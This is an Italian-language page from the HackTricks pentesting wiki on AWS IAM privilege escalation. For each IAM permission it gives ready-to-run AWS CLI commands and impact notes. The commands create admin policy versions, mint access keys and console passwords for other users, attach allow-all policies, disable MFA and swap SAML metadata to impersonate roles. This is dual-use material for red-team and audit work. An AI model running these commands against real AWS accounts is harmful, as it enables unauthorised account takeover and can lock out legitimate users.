AWS - IAM Privesc
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
IAM
Per ulteriori informazioni su IAM controlla:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Concede la possibilità di creare una nuova versione della policy IAM, eludendo la necessità del permesso iam:SetDefaultPolicyVersion
utilizzando il flag --set-as-default
. Questo consente di definire permessi personalizzati.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impatto: Escalation diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.
iam:SetDefaultPolicyVersion
Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente elevando i privilegi se la nuova versione ha più permessi.
Comando Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impatto: Escalation indiretta dei privilegi abilitando più permessi.
iam:CreateAccessKey
Abilita la creazione di un ID chiave di accesso e di una chiave di accesso segreta per un altro utente, portando a una potenziale escalation dei privilegi.
Sfrutta:
aws iam create-access-key --user-name <target_user>
Impatto: Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.
iam:CreateLoginProfile
| iam:UpdateLoginProfile
Consente di creare o aggiornare un profilo di accesso, inclusa la configurazione delle password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.
Sfruttamento per la Creazione:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Sfruttamento per Aggiornamento:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impatto: Escalation diretta dei privilegi accedendo come "qualsiasi" utente.
iam:UpdateAccessKey
Consente di abilitare una chiave di accesso disabilitata, portando potenzialmente a un accesso non autorizzato se l'attaccante possiede la chiave disabilitata.
Sfrutta:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impatto: Escalation diretta dei privilegi riattivando le chiavi di accesso.
iam:CreateServiceSpecificCredential
| iam:ResetServiceSpecificCredential
Consente di generare o ripristinare credenziali per servizi AWS specifici (ad es., CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.
Sfruttamento per la Creazione:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Sfruttamento per Reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impatto: Escalation diretta dei privilegi all'interno delle autorizzazioni del servizio dell'utente.
iam:AttachUserPolicy
|| iam:AttachGroupPolicy
Consente di allegare politiche a utenti o gruppi, aumentando direttamente i privilegi ereditando le autorizzazioni della politica allegata.
Sfrutta per l'utente:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Sfruttamento per Gruppo:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impatto: Escalation diretta dei privilegi a qualsiasi cosa concessa dalla policy.
iam:AttachRolePolicy
, ( sts:AssumeRole
|iam:createrole
) | iam:PutUserPolicy
| iam:PutGroupPolicy
| iam:PutRolePolicy
Consente di allegare o impostare policy a ruoli, utenti o gruppi, abilitando l'escalation diretta dei privilegi concedendo permessi aggiuntivi.
Sfrutta per Ruolo:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Sfruttamento per le Politiche Inline:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Puoi utilizzare una policy come:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impatto: Escalation diretta dei privilegi aggiungendo permessi tramite politiche.
iam:AddUserToGroup
Consente di aggiungere se stessi a un gruppo IAM, aumentando i privilegi ereditando i permessi del gruppo.
Sfruttamento:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impatto: Escalation diretta dei privilegi al livello delle autorizzazioni del gruppo.
iam:UpdateAssumeRolePolicy
Consente di modificare il documento della policy di assunzione del ruolo, abilitando l'assunzione del ruolo e le sue autorizzazioni associate.
Sfruttamento:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Dove la policy appare come segue, che concede all'utente il permesso di assumere il ruolo:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impatto: Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.
iam:UploadSSHPublicKey
|| iam:DeactivateMFADevice
Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare i dispositivi MFA, portando a una potenziale escalation indiretta dei privilegi.
Sfruttamento per il caricamento della chiave SSH:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Sfruttamento per la disattivazione di MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impatto: Escalation di privilegi indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.
iam:ResyncMFADevice
Consente la risincronizzazione di un dispositivo MFA, portando potenzialmente a un'escalation di privilegi indiretta manipolando la protezione MFA.
Comando Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impatto: Escalation di privilegi indiretta aggiungendo o manipolando i dispositivi MFA.
iam:UpdateSAMLProvider
, iam:ListSAMLProviders
, (iam:GetSAMLProvider
)
Con questi permessi puoi cambiare i metadati XML della connessione SAML. Poi, potresti abusare della federazione SAML per accedere con qualsiasi ruolo che lo sta fidando.
Nota che facendo questo gli utenti legittimi non potranno accedere. Tuttavia, potresti ottenere l'XML, così puoi inserire il tuo, accedere e configurare il precedente.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: Uno strumento in grado di generare i metadati SAML e accedere con un ruolo specificato
iam:UpdateOpenIDConnectProviderThumbprint
, iam:ListOpenIDConnectProviders
, (iam:
GetOpenIDConnectProvider
)
(Non sicuro di questo) Se un attaccante ha questi permessi potrebbe aggiungere un nuovo Thumbprint per riuscire ad accedere a tutti i ruoli che si fidano del provider.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.